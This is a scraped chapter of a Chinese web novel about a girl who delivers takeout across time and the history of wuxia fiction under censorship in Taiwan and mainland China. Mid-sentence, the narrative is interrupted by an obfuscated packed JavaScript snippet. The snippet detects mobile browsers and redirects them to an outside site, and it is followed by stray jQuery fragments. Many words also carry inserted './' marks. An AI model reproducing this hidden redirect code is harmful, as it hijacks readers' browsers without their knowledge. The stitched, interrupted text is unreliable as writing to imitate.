56. 台湾武侠四大家

作品:《我在江湖送外卖

    马上就要期末考了。


    全班都陷入了焦虑氛围,除了苏椰,和几个外地来的借读生。


    苏椰的高一上半年,可太忙了。


    去民国派送外卖,看似每一趟,用时一天都不到,实则前期的准备,后期的恢复,造成的体质上的懈怠,长则半个月,短则一个周。


    下一个拜见的客户,要提前了解,阅读其代表作,会占用课间、课后乃至课上的精力,尤其阅读完夷陵老叟的《驭剑飞仙》全集,耗了她两个多月的时间。


    这半年来,家里只有她一个人。


    一个人买菜、做饭,收拾家务,还要分心在不想回家的老妈,和回不了家的弟弟身上。


    她会教育欧阳阳,要把主要精力放在学习上,履行长姐之责。


    实际上,她自己都没做到。


    依靠强大的学习天赋,和梳理知识点的思维能力,考纲重点她短时间内都掌握了,但重点高中的考试么,出卷老师总会搞一些超纲的知识点,她研究的就没有那么广,那些细了。


    她自行估测,期末考成绩不会太好。


    不过,才高一么,压一压状态也是好的。


    到了高二的“3+3”选科,该选什么,她心里早就有谱了。


    欧阳阳回家以后,她的生活也规律了起来。


    小家伙心疼姐姐,每隔一段时间,就要为了自己的愚蠢犯下的过错,辛辛苦苦地,回到遥远的过去,跑腿儿送外卖,耗损元气。因而,每一顿饭,他都做的十分地用心,力保色、香、味俱全,一周营养均衡。


    并主动承担起了买菜、摘菜、刷碗等配套的小活儿。


    洗衣、擦窗、拖地等家务活,也一并包揽了。


    晚饭之前,苏椰在模拟题库里刷题,备战期末考。


    老师布置的作业呢,早在语文、历史、音乐这种不需要听讲的闲课上,隐蔽地完成了。


    晚饭过后,用两个小时,来给欧阳阳补课。


    在苏椰看来,小学、初中那点知识,根本不需要老师来讲,课本翻个一两遍,就能应付考试。


    但欧阳阳不是她,做不到呢。


    过后,就开始补充她所欠缺的武侠领域的知识。


    一直到自然入睡。


    ***


    1955年以后,武侠小说在大陆的发展,算是断代了。


    没人再敢写武侠小说,便没有新的产出。


    已经面世了的,看入屋查./抄人的心情,要么当场烧了,要么堆到贴了封条的书库里,尘封了起来。


    有胆大的小青年,会翻墙扒窗,溜进去偷着看。


    中间空白了好长一段时间,长长的四十多年啊……


    要等到千禧年之后,某家湖北的社科类月刊增设《武侠版》,邀来香港武侠四大家之一的翁在鼎先生,为创刊号题字,以弘扬原创武侠为使命,高举着“大陆新武侠”这一面旗帜,孵化出了一批新生代的,高学历的武侠写手。


    武侠文学的重心,才又重新回到了大陆。


    但是,这个时候,“武侠”已经历经辉煌,开始走下坡路了。


    他们的作品厚度,以及本人的知名度,跟活跃于上世纪,港台的那些武侠名家们,没法比。


    时代的洪流,个人的遗憾。


    ***


    五十年代末,“武侠”开始在香港和台湾地区,落根发芽。


    这两片土壤的土质,是不同的。


    因而,结出了两种滋味截然不同的果实。


    1895年,于甲./午海战中战败的清政./府,被迫签下了不平等的《马./关条约》,割让出了台湾岛及其附属岛屿、澎湖列岛。


    这件事,是清政./府对不住台湾,如懦弱的母亲,护不住自己的孩子。


    这个孩子,不想跟着坏人走,哪怕坏人拿着母亲签了字、盖了章的身契逼迫它,也要反抗、奋战,誓言“愿人人战死而失台、绝不愿拱手而让台”,乙末战./争,牺牲一万四千多人,云林大屠./杀,牺牲一万多人,西来./庵事件,牺牲三万多人,雾社起./义,牺牲八千多人……


    近半个世纪的日./据时代。


    前半段,血腥镇压,后半段,洗脑教化。


    在1945年,日本战败,宣布无条件投降。


    清政./府签下的荒唐条约,从此作废。


    来交接的KMT代表踏足台湾,岛上的原住民们夹道欢迎——


    终于,等到了喜迎王师,回归祖国的一天!


    终于,不用再做二等顺./民了!


    终于,可以光明正大地,说自己的语言、学自己的文化。


    终于,要过上好日子啊……


    可是,KMT都做了什么?


    将在大陆时贪./污腐败的习性,带去了台湾。


    成立贸易局,将关乎民./生的米、糖、油、盐等资源改为政./府专卖,一部分输送大陆,支持KMT内战,一部分高价卖到上海、日本,换取真金白银,中饱私囊。


    造成了岛内物资短缺,通贷膨胀,物价攀升。


    单是米价,就暴涨了40000%。


    上面的公营企业经营不善,向银行借贷,但借贷不还。


    下面的兵痞们吃饭不给钱,看戏不买票。


    除了掠夺本地人的生活物资,还要强占本地人的工作岗位,并以本地人不会说国语为由,剥夺了本地人的参./政机会。


    另有两万多本地人,被征去大陆战场上当炮灰。


    与血脉同./胞自相残杀。


    这件事,是KMT对不住台湾。


    如狼狈的父亲,见到了失散多年的孩子,不是好好地对待它,补偿它,而是只把它当成反./攻大陆的据点,当成了一只小肥羊,不停地薅啊薅。


    有这样的父亲,比孤儿时期,日子过的更苦。


    ***


    日本走了,老蒋来了。


    走了一批人上人,又来了一批人上人。


    饱受压迫的台湾人,觉醒了反抗意识,以天马茶房私烟事件为导火索,爆发了持续三个月之久的“二二./八”,目的是反专制、反独./裁、争民./主。当局表面上示好,同意协商,私底下从大陆征调军./队,等军./队一到,便推翻了公开的承诺,进行武力镇压。并在行刑时,强制周围学校停课,叫老师带着学生们来观看“不听话的下场”,以示警戒。


    一万多人牺牲,多为社会精英。


    在此事件中,CPC的表现赢得了本省进步青年们的信服。


    他们对祖国的认同,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361011|142832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    由白色祖国转向了红色祖国,一部分人潜往大陆,投奔光明,一部分人选择留在本省,要为理想而斗争,为人民谋福祉。


    连皓贤导演88年拍摄的《基隆往事》中,女主孚美的哥哥,就是后一种人。


    为了维护统治,KMT采取了一系列高压措施。


    行动上,积极抓捕地下./党。


    思想上,进行全方位的文化管控,控学校的教育,也控书籍的流通。


    台湾进入了长达38年之久的“戒./严期”。


    封锁了历史,也封锁了资讯。


    ***


    49年颁布《反./动思想书籍名称一览表》,禁书目录多达429种。


    三十年代,北平文坛领袖卢巡先生的批判性杂文,是查禁的重中之重。


    作品不能含有“解./放”、“中./共”等字眼,作家真名or笔名里带个“左”字,他/她的书是要被禁的,书名里含有“左”字,也是要被禁的。


    直禁到书里没有一朵向日葵在盛开。


    没有一面红色的旗帜在飘扬。


    59年“暴./雨专案”,专门针对武侠小说展开清查。


    当局认为,这种有打打杀杀场面描写的小说,会荼毒青少年的思想,小说中“拉帮结派”的行为,也为图谋不轨反当局的人,提供了借鉴的可能。


    全省七个县市,同步行动。


    一口气查禁了包括民国大陆时期、当代香港在内的武侠作品,共404种。


    主营租书业务的书店书架上,几无存书。


    ***


    禁书令时不时地就扩充一轮,主打一个闪电行动,措手不及。


    对于搞文学创作的人来说,犹如一场漫长的凌迟。


    一个不小心,就容易被丢进监狱里。


    香港武侠四大家之一的翁在鼎,在台湾念书时,还没开始写武侠小说呢,仅创办了一个校友间互相捧场的“华夏诗社”,写诗歌颂华夏大地上的长城、黄河、峨眉、昆仑、武当等大好河山,就遭检./举入狱。


    不过,他在监狱里过的还不错。


    狱警和牢友都是他的读者。


    经过秦庚等人的力保,他在关了三个月后,得到释放,被判了个驱逐出台湾。


    身无一物之时,流落到了香港。


    香港武侠四大家之一的秦庚,其作品亦是禁书令的重中之重。


    不过,他的小说太受欢迎了。


    台湾的书商们舍不得不赚这个钱,每每将他的作品,改了名字,隐去敏感字眼,将有反./动嫌疑的情节,删删减减,再张冠李戴到鸿沉客的头上,变相流通于市面,俗称盗版。


    要等到老蒋老去,小蒋上位,他的作品才陆续解禁。


    以原本的书名,正式在台出版。


    台湾武侠四大家,鸿沉客、司空昙、折月楼主、方病骸等人的作品,比起秦庚、余文畴等人来,就欠缺了历史文化底蕴,常被评价为:情节制胜,少于厚重。


    “架空”,是高压管./控下的无奈选择。


    人先得有命,才能写作,也得有人身自由,才能去快乐地花掉赚来的稿费。


    因而,他们的笔下,从不涉及真实的朝代背景。


    江湖,仿佛是独立存在的。